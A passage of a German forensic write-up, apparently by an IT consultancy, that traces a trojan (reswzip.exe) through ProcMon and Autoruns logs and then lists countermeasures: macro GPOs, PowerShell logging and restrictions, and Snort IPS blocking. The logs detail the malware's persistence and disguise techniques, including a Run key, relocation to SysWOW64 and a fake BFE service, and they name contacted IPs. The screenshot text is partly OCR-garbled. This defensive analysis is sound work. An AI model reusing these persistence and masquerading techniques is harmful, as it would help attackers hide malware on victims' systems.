 reswzip.exe	8512 ATCP Send	S-CL1.crashwork.global:57822 -> 208.180.246.147.http	SUCCESS	Length: 794, startime: 1447420, endtime: 1447424, seqnum: 0, connid: 0
 reswzip.exe	8512 A TCP TCPCopy	S-CL1.crashwork.global:57822 -> 208.180.246.147:http	SUCCESS	Length: 288, seqnum: 0, connid: 0
 reswzip.exe	8512 A TCP Receive	S-CL1.crashwork.global:57822 -> 208.180.246.147:http	SUCCESS	Length: 288, seqnum: 0, connid: 0
 Freswzip.exe	8512 KegQueryKey	HKCU	SUCCESS	Query: Handle Tags, Handle Tags: 0x0
 reswzip.exe	8512 KegQueryKey	HKCU	SUCCESS	Query: Name
 reswzip.exe	8512 RegCreateKey	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	SUCCESS	Desired Access: Set Value, Disposition: REG_OPENED_EXISTING_KEY
 reswzip.exe	8512 RegSetInfoKey	HKCU\Software\Microsoft\Windows\CurrentVersion\Run	SUCCESS	KeySetInformationClass: KeySetHandleTagsInformation, Length: 0
 reswzip.exe	8512 KegQueryKey	HKCU\Software\Microsoft\Windows\CurrentVersion\Run	SUCCESS	Query: Handle Tags, Handle Tags: 0x400
 reswzip.exe	8512 RegSetValue	HKCU\Software\Microsoft\Windows\CurrentVersion\Run\reswzip	SUCCESS	Type: REG_SZ, Length: 112, Data: "C:\Users\tessa.test\AppData\Local\reswzip\reswzip.exe"
 reswzip.exe	8512 RegCloseKey	HKCU\Software\Microsoft\Windows\CurrentVersion\Run	SUCCESS	
 reswzip.exe	8512 ATCP Disconnect	S-CL1.crashwork.global:57822 -> 208.180.246.147:http	SUCCESS	Length: 0, seqnum: 0, connid: 0

• AutoRuns von SysInternals kann das bestätigen:

A	utoruns - Sysi	internals: www	w.sysinternals.com							
File	Entry Opt	tions Help								
	1	Print Monito	ors	🔋 LSA Providers		🔮 Netwo	rk Providers		IMW I	
ie.	Everything	🖽 Log	on 😽 Explorer	🥭 Internet Explorer	C Scheduled Tasks	Services	📕 Drivers	Codecs	Boot Execute	📑 Image Hijacks
Auto	orun Entry		Description	Publisher	Image Path			Timestamp	VirusTot	al
all .	HKLM\SYSTE	M\CurrentCon	trolSet\Control\SafeBoot\	AlternateShell				29/09/2017 14:47		
6	cas cmd.ex	e	Windows Command Proce	ssor Microsoft Corporation	c:\windows\syste	m32\cmd.exe		23/01/1915 20:14		
1	HKLM\SOFTV	VARE\Microso	ft\Windows\CurrentVersion	on∖Run				18/02/2019 17:47		
-6	🛛 🕂 Securit	yHealth	Windows Defender notific	ation Microsoft Corporation	c:\program files\	vindows defender\ms	ascuil.exe	26/09/1920 19:44		
1 A	HKCU\SOFTV	VARE\Microso	ft\Windows\CurrentVersio	n\Run				25/02/2019 17:43		
-6	🛛 🐔 OneDri	ve	Microsoft OneDrive	Microsoft Corporation	c:\users\tessa.te	st\appdata\local\micr	osoft\onedrive\o	. 13/03/2017 23:58		
6	reswzip		LEADTOOLS(r) DLL for W	/in32 LEAD Technologies, Inc.	. c:\users\tessa.te	st\appdata\local\resv	vzip \reswzip.exe	13/11/1995 21:26		
1 B	HKLM\SOFTV	VARE\Microso	ft\Active Setup\Installed	Components				29/09/2017 15:42		
E	🖉 📄 n/a		Windows host process (Ru	undll Microsoft Corporation	c:\windows\syste	m32\rundll32.exe		02/04/2032 03:35		
a star	HKLM\SOFTV	VARE\Wow64	32Node \Microsoft \Active	Setup\Installed Components				29/09/2017 15:42		
6	🖉 📄 n/a	(i	Windows host process (Ri	undl Microsoft Corporation	c:\windows\sysw	ow64\rundll32.exe		24/02/1929 07:39		
1 B	HKLM\SOFTV	VARE\Classes	\Protocols\Filter					13/01/2019 12:52		
5	A litevt/vm	d l	Micmenft Office XML MIM	E Filter Microsoft Compration	c:\nmaram filee\	ommon filee\micmeof	shared\office16	30/07/2015 13:21		

Und seitdem ist die Anwendung ruhig. Anscheinend lautete das Kommando von außen: "Einnisten und Abwarten".

Die Tarnung variiert übrigens je nach Berechtigung des Benutzers. Mein erster Versuch wurde von einem Standardbenutzer ausgeführt. Hat der Account lokaladministrative Rechte, dann tarnt sich der Prozess viel intensiver – und weitet zudem gleich noch seine Rechte aus:

• Die Datei verschwindet aus dem Appdata-Verzeichnis:

WS IT-Solutions WSHowTo - Forensik einer Trojanerinfektion 2019-02-18



• Aber ProcMon weiß genau, was damit passiert ist:

				4	Event Pr	roperu	es		
19:13,830	reswzip.exe	3344	QueryAttribute1 C:\						
19:13,830	reswzip.exe	3344	CloseFile C:\						
19:13,831	reswzip.exe	3344	CreateFile C:\Users\Administrator\AppData\Local\reswzip\reswzip.e	te t	event Pr	rocess	Stack		
19:13,831 1	reswzip.exe	3344	Query Basic InforC:\Users \Administrator \App Data \Local \reswzip \reswzip.e	e					
19:13,831	reswzip.exe	3344	CloseFile C:\Users\Administrator\AppData\Local\reswzip\reswzip.e	e	Date:		25/02/2019 18:19:13,8365955		
19:13,831	reswzip.exe	3344	CreateFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	Thread:		4928		
19:13,831 1	reswzip.exe	3344	QueryBasicInforC:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	Class:		File System		
19:13,831	reswzip.exe	3344	CloseFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	0				
19:13,831	reswzip.exe	3344	CreateFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	Operation	n:	SetRenameInformationFile		
19:13,831 1	reswzip.exe	3344	QueryRemotePrC:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	Result:		SUCCESS		
19:13,831 1	reswzip.exe	3344	QuerySecurityFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	Path:		C: \Users \Administrator \AppData \Local \reswzip \res	wzip.exe	
19:13,831	reswzip.exe	3344	CloseFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	Duration		0.0001478		
19:13,832	reswzip.exe	3344	ReadFile C:\Windows\SysWOW64\shell32.dll		Durauon	•	0.0001428		
19:13,833	reswzip.exe	3344	CreateFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766					
19:13,833 1	reswzip.exe	3344	QueryStandardlC:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	Replace]	IfExists	: True		1
19:13,833 1	reswzip.exe	3344	ReadFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766	FileName	e:	C: \Windows\SysWOW64\re	swzip.exe	<u> </u>
19:13,833	reswzip.exe	3344	QueryBasicInforC:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766					
19:13,833 1	reswzip.exe	3344	CloseFile C:\\$Recycle.Bin\S-1-5-21-1741355641-1558180958-3330	87766					
19:13,834 1	reswzip.exe	3344	CreateFile C:\Windows\SysWOW64						
19:13,834	reswzip.exe	3344	QueryBasicInforC:\Windows\SysWOW64						
19:13,834	reswzip.exe	3344	CloseFile C:\Windows\SysWOW64						
19:13,834 1	reswzip.exe	3344	ReadFile C:\Windows\SysWOW64\windows.storage.dll						
19:13,836 1	reswzip.exe	3344	CreateFile C:\Users\Administrator\AppData\Local\reswzip\reswzip.e	e					
19:13,836	reswzip.exe	3344	QueryAttribute TC:\Users\Administrator\AppData\Local\reswzip\reswzip.e	e					
19:13,836	reswzip.exe	3344	Query BasicInforC:\Users\Administrator\AppData\Local\reswzip\reswzip.e	e					
19:13.836	reswzip.exe	3344	CreateFile C:\Windows\SysWOW64						
19:13,836	reswzip.exe	3344	Set Rename InfoC:\Users\Administrator\AppData\Local\reswzip\reswzip.e	e					
19:13,836	reswzip.exe	3344	CloseFile C:\Windows\SysWOW64						
19:13.836	reswzip exe	3344	CloseFile C:\Windows\SvsWOW64\reswzip.exe						

• Nun steht sie in einem Systemverzeichnis. Was macht die Datei denn hier? Natürlich als Service wiederkommen...

Time of Day	Process Name	PID	Operation	Path	Result	Detail
18:19:13,799	reswzip.exe	3344	RegOpenKey	HKCR\AppID\reswzip.exe	NAME NOT FOUND	D Desired Access: Read
18:19:13,822	reswzip.exe	3344	RegOpenKey	HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\App	REPARSE	Desired Access: Read
18:19:13,822	· reswzip.exe	3344	RegOpenKey	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\reswzi	NAME NOT FOUND	D Desired Access: Read
18:19:13,973	services.exe	724	RegCreateKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Desired Access: Read/Write, Disposition: REG_CREATED_NEW_KEY
18:19:13,973	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\Type	SUCCESS	Type: REG_DWORD, Length: 4, Data: 16
18:19:13,973	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\Start	SUCCESS	Type: REG_DWORD, Length: 4, Data: 2
18:19:13,973	services.exe	724	RegQueryKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Query: Handle Tags, Handle Tags: 0x0
18:19:13,973	services.exe	724	RegOpenKey	HKLM\System\CurrentControlSet\Services\reswzip\StartOverride	NAME NOT FOUND	D Desired Access: Maximum Allowed
18:19:13,973	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\ErrorControl	SUCCESS	Type: REG_DWORD, Length: 4, Data: 0
18:19:13,973	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\ImagePath	SUCCESS	Type: REG_EXPAND_SZ, Length: 68, Data: "C:\Windows\SysWOW64\reswzip.exe"
18:19:13,973	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\DisplayName	SUCCESS	Type: REG_SZ, Length: 16, Data: reswzip
18:19:13,974	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\WOW64	SUCCESS	Type: REG_DWORD, Length: 4, Data: 332
18:19:13,974	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\ObjectName	SUCCESS	Type: REG_SZ, Length: 24, Data: LocalSystem
18:19:13,974	services.exe	724	RegCloseKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	
18:19:13,998	services.exe	724	RegOpenKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Desired Access: Read/Write
18:19:13,998	services.exe	724	RegQueryValue	HKLM\System\CurrentControlSet\Services\reswzip\Description	NAME NOT FOUND	D Length: 268
18:19:13,998	services.exe	724	RegSetValue	HKLM\System\CurrentControlSet\Services\reswzip\Description	SUCCESS	Type: REG_SZ, Length: 672, Data: The Base Filtering Engine (BFE) is a service that m
18:19:13,998	services.exe	724	RegCloseKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	
18:19:13,998	services.exe	724	RegOpenKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Desired Access: Read
18:19:13,998	services.exe	724	RegQueryValue	HKLM\System\CurrentControlSet\Services\reswzip\ObjectName	SUCCESS	Type: REG_SZ, Length: 24, Data: LocalSystem
18:19:13,998	services.exe	724	RegCloseKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	
18:19:13,998	services.exe	724	RegOpenKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Desired Access: Read
18:19:13,998	services.exe	724	RegQueryValue	HKLM\System\CurrentControlSet\Services\reswzip\FailureActions	NAME NOT FOUND	D Length: 268
18:19:13,998	services.exe	724	RegCloseKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	
18:19:13,998	services.exe	724	RegOpenKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Desired Access: Read
18:19:13,998	services.exe	724	RegQueryValue	HKLM\System\CurrentControlSet\Services\reswzip\ImagePath	SUCCESS	Type: REG_EXPAND_SZ, Length: 68, Data: "C:\Windows\SysWOW64\reswzip.exe"
18:19:13,998	services.exe	724	RegCloseKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	
18:19:13,998	services.exe	724	RegOpenKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Desired Access: Read
18:19:13,998	services.exe	724	RegQueryValue	HKLM\System\CurrentControlSet\Services\reswzip\ObjectName	SUCCESS	Type: REG_SZ, Length: 24, Data: LocalSystem
18:19:13,998	services.exe	724	RegCloseKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	
18:19:14,000	services.exe	724	RegOpenKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	Desired Access: Read
18:19:14,000	services.exe	724	RegQueryValue	HKLM\System\CurrentControlSet\Services\reswzip\Environment	NAME NOT FOUND	D Length: 268
18:19:14,000	services.exe	724	RegCloseKey	HKLM\System\CurrentControlSet\Services\reswzip	SUCCESS	
10.10.14 000	The second second second	724 4	De-Ore-Ver	LIKE MOCOETIMATED Manage AVM/s down NTO Compative size Visions Els Eve	NAME NOT FOUND	Desired Assess Over Victor Francests C.t. Keys



Services (Local)	O Services (Local)					
	reswzip	Name	Description	Status	Startup Type	Log On As
	Start the service	Radio Management Service Remote Access Auto Connec	Radio Mana Creates a co		Manual Manual	Local Service Local System
	Description: The Base Filtering Engine (BFE) is a service that manages firewall and Internet Protocol security (IPsec) policies and implements user mode filtering. Stopping or disabling the BFE service will significantly reduce the security of the system. It will also	Remote Access Connection Remote Desktop Configurati Remote Desktop Services Remote Desktop Services Us Remote Packet Capture Prot Remote Procedure Call (RPC) Remote Procedure Call (RPC)	Manages di Remote Des Allows users Allows the re Allows to ca The RPCSS s In Windows Enables som	Running Running Running Running Running	Automatic Manual Manual Manual Automatic Manual Dirablad	Local Syster Local Syster Network Se Local Syster Network Se Network Se
	result in unpredictable behavior in IPsec management and firewall applications.	reswzip Retail Demo Service Routing and Remote Access PDC Endepint Manager	The Base Filt The Retail D Offers routi Beschuss BB	Bunning	Automatic Manual Disabled	Local System Local System Local System Local System

File Option	s V	iew							
Processes P	erfo	rmance	App history	Startup	Users	Details	Services		
Name		PID	Status	User r	name	CPU	Memory (p	Description	^
🔊 Procmon6	54	5864	Running	admir	nistra	00	5.200 K	Process Monitor	
rdpclip.exe	e	5192	Running	admir	nistra	00	1.968 K	RDP Clipboard M	
📑 regedit.exe	e	9688	Running	admii	nistra	00	1.800 K	Registry Editor	
reswzip.ex	e	5560	Running	SYSTE	M	00	1.656 K	LEADTOOLS(r) DL	
RuntimeB	ro	3660	Running	admii	nistra	00	3.684 K	Runtime Broker	
📧 RuntimeBr	ro	9972	Running	admir	nistra	00	2.996 K	Runtime Broker	
The state		~ *	D ·		· ·		0.500 W	n (* n (*	

Der kleine Trojaner reagiert also auf seine Umgebung! Welche Aktionen wird er wohl nach seiner Ruhepause ausführen? Hier könnt ihr eure Fantasie spielen lassen! Der Angreifer hat einen Fuß in der Umgebung. Der Anfang ist geschafft!!!

<u>Gegenmaßnahmen</u>

Was ist denn bei diesem Szenario alles schiefgelaufen? Und wo kann ein Administrator mit welchen Mitteln gegensteuern? Betrachten wir dazu noch einmal die einzelnen Stages...

<u>Stage 1 – die PDF als Mailanhang</u>

Die Mail hätte niemals zugestellt werden dürfen. Nur nach welchen Kriterien sollte sie gefiltert werden? Der Anhang ist doch harmlos, oder? Zudem können sich viele Firmen eine zu restriktive Mailfilterung einfach nicht erlauben. Und da SPAM-Filter auch erst lernen müssen, wird irgendwo immer jemand der erste sein!

Hier hilft nur Benutzersensibilisierung. Klärt eure Mailbenutzer auf, was sie erwartet! Ebenso hat es sich bewährt, eine Mailadresse spam@<interne.domain> einzurichten, an welche die Benutzer die Mail zur Prüfung weiterleiten können. Das könnte eine Fachabteilung oder der Helpdesk übernehmen. Aber ACHTUNG: diese weitergeleitete Mail sollte unbedingt einen Warnhinweis im Betreff enthalten, damit der Empfänger nicht selber darauf hereinfällt! Das wäre z.B. mit einer TransportRegel in einem Exchange Server machbar.

<u>Stage 2 – der Link in der PDF-Datei</u>

Der Link zeigte auf eine URL mit einer IP-Adresse. Damit umgehen die Angreifer PI-Holes, welche die DNS-Anfragen zu dubiosen Seiten einfach ins Leere laufenlassen. Dafür könnte aber ein ausgehender Filter ins Internet URLs mit IPs einfach blockieren. Seriöser Content sollte bitte nur über DNS-Namen erreichbar sein...

<u>Stage 3 – die Word-Datei</u>

Auch hier wäre ein Filter in der Firewall denkbar. Muss denn eine Word-Datei direkt aus dem Internet geladen werden?? Verlasst euch hier mal nicht auf den Virenscanner, der ja die heruntergeladene Datei auf der Festplatte untersuchen kann. Durch die Verschleierungen gibt es hier immer wieder zeitliche Lücken!

X



Dafür kann mit einer GPO zentral die Ausführung von VBA-Makros komplett deaktiviert werden:

Benutzer	-Security-Offic	e		
Details S	Settings Delegation	Status		
O-Benu	tzer-Security-	Office		
a collected o	n: 26.02.2019 06:42:	80:		show all
puter Con	figuration (Enabled	d)		show
r Configura	ation (Enabled)			hide
licies				hide
Administrat	ive Templates			hide
Po	licy definitions (ADMX	(files) retrieved from the local	computer.	
Micros	oft Office 2016/Se	ecurity Settings		hide
P	olicy		Setting	Comment
Di	sable VBA for Office a	applications	Enabled	
	Configuration Co	Configuration (Enabled) Interference (Enable Configuration (Enabled) Conf	enutzer-Security-Office Detais Settings Delegation Status O-Benutzer-Security-Office collected on: 26.02.2019 06.42.08 puter Configuration (Enabled) Configuration (Enabled) tices Version (Enabled) Version (Enabled) Version (ADMX files) retrieved from the local Version of Office 2016/Security Settings Policy Disable VBA for Office applications	enutzer-Security-Office Details Settings Delegation Status O-Benutzer-Security-Office collected on: 26.02.2019 06.42:08 puter Configuration (Enabled) Configuration (Enabled) tices dministrative Templates Policy definitions (ADMX files) retrieved from the local computer. Microsoft Office 2016/Security Settings Policy Setting Disable VBA for Office applications Enabled

Dann wäre der Code einfach nicht gestartet:

8	ڻ -	G	Ŧ			Word (Fehler	bei Produktaktiv	ierung)			æ –		×
Datei	Start	Einfü	gen Entwurf	Layout	Verweise	Sendungen	Überprüfen	Ansicht	${f Q}$ Was möchten Sie tun?		Anmelden	₽ Freige	eben
Einfüger	× ⊫ `≪	F K	• • • • • • • • • • • • • • • • • • •	A ▲ Aa	- 🍖 🗄 A - 🚍	• ¹ / ₂ → ¹ / ₁ • •	│़ ═══│Ѯ↓ ३≡╶╵│ थे≥ र ⊞	¶ •		*	Suchen *	,	
Zwischenab	olage 🗔		Schrifta	t	Gi	Ab	satz	Gi	Formatvorlagen	F ₂	Bearbeiten		^
Mic	?	Vord Das Dokum Dokument Hilfe au	ent enthält Makro schreibgeschützt ö iblenden < <	s. Makroprogra iffnen? Im Hilfefens	ammieruntersti ter öffnen	itzung ist für di	iese Anwendung	deaktiviert. Fea	ttures, die VBA benötigen, sind	d nicht ve	rfügbar. Möchte	× n Sie das	
U N W S	Dieser F Makrosi Venn di verden Sicherhe	ehler tritt cherheitse e Datei in wiederhei itshinweis	in der Regel auf instellungen än der geschützter gestellt, und de e angezeigt, we	grund von M dern und das n Ansicht geö r aktive Inhalt nn die Datei a	lakrosicherhe Makro aktivi ffnet wird, kli wird einschli auf einem and	itseinstellunge eren. cken Sie auf B eßlich Makros deren Comput	en auf. Wenn Sie Gearbeitung akt ausgeführt. Die ter geöffnet wir	e der Quelle (ivieren und (ese Datei ist j d.	des Makros vertrauen, kön dann auf Inhalt aktivieren ietzt vertrauenswürdig. Es v	nen Sie (. Bearbe verden r	die itungsfunktione iur noch	en 🗸	
	_	_			01		Abbrechen	Hilfe		_		_	
											Fo		-+

Jaja, VBA wird natürlich überall gebraucht, da alle Büros voll sind mit VBA-Spezialisten, gell? Spass beiseite: VBA-Code lässt sich digital signieren und die Ausführung lässt sich auf signierte Makros über GPOs einschränken:

GPO-Benutzer-Securit	ly-Office			
Scope Details Settings D	elegation Status			
GPO-Benutzer-Se	curity-Office			
Data collected on: 22.02.20	19 13:22:23			hide all
Computer Configuration	(Enabled)			hide
No settings de	fined.			
User Configuration (Ena	bled)			hide
Policies				hide
Administrative Temp	lates			hide
Policy definitio	ns (ADMX files) retrieved from the local computer.			
Microsoft Office	2016/Security Settings			hide
Policy		Setting		Comment
Automation S	ecurity	Enabled		
Set the	Automation Security level		Use application macro security le	evel
Microsoft Word	2016/Word Options/Security/Trust Center			hide
Policy		Setting		Comment
Block macros	from running in Office files from the Internet	Enabled		
VBA Macro N	lotification Settings	Enabled		
			Disable all except digitally signed	I macros

Das Makro wird nicht mehr gestartet – ohne Ausnahme-Schalter und ohne Warnung 🐵. Wenn der Benutzer es selber versucht, dann erscheint eine Fehlermeldung:



ы						63607349	173205-19-infecte		[Kompatibilitäts		/ord (Fehler b	ei Produktakti					
Datei	Start Einfügen	Entwurf	Layout	Verweise	Sendung	en Überprüfen	Ansicht	₽ wa	as möchten Sie	tun?							
infügen	X Ausschneiden	Calibri F K L	- 11 - ab∈ x, x	A A A	Aa - 🤌 - <u>A</u> -	E • E • * . ■ = = =	़ == ∋≡ ≙↓ ‡≡ - ≙₂ - ⊞	¶ -	AaBbCcDc	AaBbCcDc Kein Lee	AaBbC Überschrif	AaBbCı Überschrif	AaBbC	AaBbCcD Untertitel	AaBbCcDa Schwache	AaBbCcDe Hervorhe	AaBb Intens
Zv	vischenablage 🛛	, l	Schrifta	art	Fa	Ab	satz	r ₂₄					Formatvorlage	en .			
						1	To open follow th This docu or laptop Click Enal bar above	This do the d nese s iment versio ble ed	bocume Projekt docum isteps: is only bons of itting	icrosoft Visu Datei Bear - Project Normal Project (6 Mic Mic Mo - Wer Ver	al Basic for A sbeiten Ans a a b a b	Applications - (sicht Einfüg A 7 ((Allgem Fun E Basic for App Basic for App Allaktros in dieses kitvieren der kokumentation	63607349173 en Format en Format	205-19-infecto Debuggen 26135 () 26135 () 20 <> u = 17 0 <> u =	Agsführen ¥ 20 (Entwerfen) * 20 20 20 20 20 20 20 20 20 20 20 20 20	- [K3_0_9 (Cl Egtras Add Z 6, S 9 X / Chr 5 + j7	ode)] -[ns - 20198 : (j047
							Once you Enable co above	i have ontent	enable t butto Alphab	haften _9 Modul	Kategorien		If b_97_(T97728 j3773342	OK 05_ <> J35 386 = (316 2 = j5_ 5	Help 265073) 4 99420	9387 + W9	(1559)_2641

Was gar nicht geht ist die permanente Deaktivierung der Makroschutzfunktion! Dann fragt Office einfach gar nicht mehr nach und startet den Code vollautomatisch im Hintergrund!!!

Wer die Signatur nicht hinbekommt: ihr benötigt ein Code-Signaturzertifikat von euer internen PKI oder offiziell aus dem Internet. Dann könnt ihr den fertigen Code einfach signieren:

nicrosoft Visual Basic for Applications - VbaProject.OTM	M - [Modul1 (Code)]	
😽 Datei Bearbeiten Ansicht Einfügen Forma <u>t</u>	Debuggen A <u>u</u> sführen <mark>Extras</mark> Add-Ins <u>F</u> enster <u>?</u>	_
🛛 🖸 🕶 🗶 🕼 🕮 👘 🕨 💷	🔟 😻 🚰 🚼 🔅 🕜 🖏 🛛 <u>V</u> erweise	1
Projekt - Projekt1	Ilgemein)	
	Sub Cleanen() Makros	
⊡	Dim oNS As Our <u>O</u> ptionen	
🗄 🧰 Microsoft Outlook Objekte	Dim oStore As Dim colRules Eigenschaften von Projekt1	
Module	Dim oRule As Digitale Signatur	
	Set oNS = Application.GetNamespace("MAP1" Set oStore = oNS.Stores("stephan.walther@ 'oNS.Stores(2) = oNS.Stores("@web.de")) ws-its.de")
.oo Digitale Signatur ? X	Windows-Sicherheit	×
It 1 Note Das VBA-Projekt ist zurzeit signiert als		~
Zertifikatsname: Walther, Stephan	Outlook	
;io Sto Details	Zertifikat auswählen	
NS Signiert als St Zertifikatsname: Walther, Stephan	2017-05-10 CodeSigning	
<u>E</u> ntfernen <u>Wählen.,</u> .	Aussteller: WS-ITS-Zertifizierungsstelle-C	41
.es	Gültig ab: 10.05.2017 bis 10.05.2019	
OK Abbrechen		
	Zertifikateigenschaften anzeigen	
	OK Abbreche	n

Stage 4 – der PowerShellCode

Die PowerShell ist ein tolles Werkzeug. Sie kann nicht deaktiviert werden. Aber es gibt interessante Zusatzfunktionen:

- PowerShell ScriptBlock-Logging (via GPO seit Windows 7) kann die obfuskierten Base64-Codes sichtbar im Eventlog ablegen. Hier könnte ein SIEM (EventLog-Analyzer) die Daten zentral auswerten und Alarm schlagen.
- PowerShell Transcript (via GPO ab Windows 7) kann jede Scriptausführung in Textdateien protokollieren. Diese können zentral auf einem Fileserver zusammenlaufen und automatisiert nach Schlüsselworten durchsucht werden. Auch hier wäre der stille Alarm die Zielsetzung, denn ein Protokoll alleine ändert nichts am laufenden Code.



• PowerShell Constrained Language Mode (via GPO, ab Windows 10; mit Applocker nur in Enterprise) verhindert, dass Standardbenutzer erweiterte Codes (wie den .net-Aufruf DownloadString) ausführen können:



Der Code wäre einfach nicht gestartet. 🕹

• PowerShell AMSI (AntiMalwareScanInterface ab Windows 10) bietet eine Schnittstelle für kompatible Virenscanner, die den Klartext-Code vor dessen Ausführung noch einmal prüfen können. Eine feine Sache...

Auch die PowerShell musste über das Netzwerk einen Download starten. Das könnte durch eine passende Endpoint-Protection verhindert werden. Hier seht ihr den Downloadversuch der EXE-Datei auf einem meiner Clients:



Mein AntiVirus kannte bereits einige der dubiosen Adressen. Aber leider nicht alle. Eine hatte funktioniert! Hier hat mein Intrusion Prevention System (IPS) Snort zugeschlagen:

-Solutio	ns	WS 203	6HowTo - Fo 19-02-18	orensik	eine	r Trojane	erinf	ektion				
	e . DN	System -	Interfaces + Fi	rewall - Serv	ices -	VPN - Statu	s -	Diagnostics -	Help 👻			•
Service	s / 3	Snort <mark>/</mark>	Alerts								0	0
Snort Interf	aces	Glob	al Settings Updates	Alerts B	locked	Pass Lists	Suppress	IP Lists	SID Mgmt	Log Mgmt	Sync	
Alert Log	Viev	w Settin	gs									
Interfa	ce to I	nspect	LAN_110_CLIENTS Choose interface	Auto-refr	esh view	250 Alert lines to	o display.		Save			
Alert	t Log /	Actions	📩 Download 📋 Clear									
Alert Log	Viev	w Filter										Ð
Last 250	Aler	t Log En	tries									
Date	Pri	Proto	Class	Source IP	SPort	Destination IP	DPort	SID	Description			
2019-02-26 20:29:30	2	TCP	Potentially Bad Traffic	192.198.90.198 Q ⊞ X	80	192.168.110.101 Q ⊞	13959	1:2016538 ⊕ ¥	ET INFO Executa Headers - Poten	able Retrieved Wi tial Second Stage	th Minimal HT e Download	TP
2019-02-26 20:29:30	1	TCP	Potential Corporate Privacy Violation	192.198.90.198 Q ⊞ ≭	80	192.168.110.101 Q ⊞	13959	1:2018959	ET POLICY PE E HTTP	XE or DLL Windo	ws file downlo	ad
2019-02-26 20:29:30	3	TCP	Misc activity	192.198.90.198 Q ⊞ 🗙	80	192.168.110.101 Q ⊞	13959	1:2014520 ⊕ ¥	ET INFO EXE - S	erved <mark>Attached H</mark>	TTP	

Dieses Modul läuft auf meiner Firewall mit. Eine Firewall-Regel alleine hätte nichts gebracht, da Port 80 im allgemeinen offen ist. Snort schaut sich aber den Traffic dahinter genau an und entscheidet blitzschnell, ob der Datenstrom problematisch ist. Man erkennt schön in den DEscriptions, dass Snort einen Second Stage Download einer EXE erkannt hat. Darauf wurde eine dynamische Firewall-Regel erstellt und der Datenstrom wurde blockiert:

	Sense Syster	n 🕶 Interfaces 🕶	Firewall 👻	Services +	VPN 👻	Status 🕶	Diagnostics 👻	Help 👻			•
Se	ervices / Snor	t / Blocked Hos	ts								0
Sn	ort Interfaces G	obal Settings Upd	ates Alerts	Blocked	Pass Lists	Suppre	ss IP Lists	SID Mgmt	Log Mgmt	Sync	
BI	ocked Hosts and	Log View Settings	1								
	Blocked Hosts	L Download All blocked hosts w	ill be saved			All	Clear blocked hosts will I	be removed			
	Refresh and Log View	Save			fresh		500		l e	-	
	terresh and Log view	Save auto-refresh a	nd view settings	Defau	lt is ON		Numbe Defaul	er of blocked en t is 500	tries to view.		
La	st 500 Hosts Blo	cked by Snort									
#	IP	Alert Descriptions and	Event Times							Remove	e
1	60.191.38.77 Q	ET CINS Active Threa ET CINS Active Threa	t Intelligence Poor t Intelligence Poor	Reputation IP Reputation IP Reputation IP Reputation IP Reputation IP Reputation IP Reputation IP	TCP group 52 - TCP group 53 - TCP group 50 - TCP group 49 - TCP group 47 - TCP group 48 - TCP group 54 - TCP group 56 -	2019-01-09 1 2019-02-20 2 2019-02-18 2 2019-01-30 0 2019-02-06 0 2019-02-11 1 2019-02-26 0 2019-02-26 2	19:40:38 21:45:19 22:31:24 02:41:17 07:17:45 15:57:11 05:08:41 20:17:28			×	
2	192.198.90.198	ET INFO EXE - Served ET POLICY PE EXE or	Attached HTTP – DLL Windows file	2019-02-26 20: download HTT	29:30 P 2019-02-26	20:29:30				×	
		ET INFO Executable R	etrieved With Min	imal HTTP Hea	ders - Potential	Second Stag	e Download 2019	-02-26 20:29:30			
			2 host	t IP addresses a	are currently be	ing blocked by	y Snort.				

Das ist eine feine Sache. Denkt aber bitte auch an ein Alerting! Es nützt nichts, wenn ein IPS still im Hintergrund werkelt und niemand die problematischen Ereignisse mitbekommt. Ich als Administrator habe kurz nach der Sperre eine Mail bekommen:



Diese	Nachricht wu	JIONITOF	rität "Hoch" geser	idet.							
neue I	PS-Alerts										
count	TotalCount	SourceIP	DestinationIP	SourcePort	DestPort	FirstSeen	LastSeen	Classification	AlertMessages	SourceName	DestinationName
2	2	402 409 00 409	100 100 110 101			and the second sec	and the second second	the second s		And the second se	
4	-	192.190.90.190	192,168,110,101	80	13959	20:29:31	20:29:31	Misc activity	ET INFO EXE - Served Attached HTTP	shared034.hosixy.com	WS-CL1.ws.its
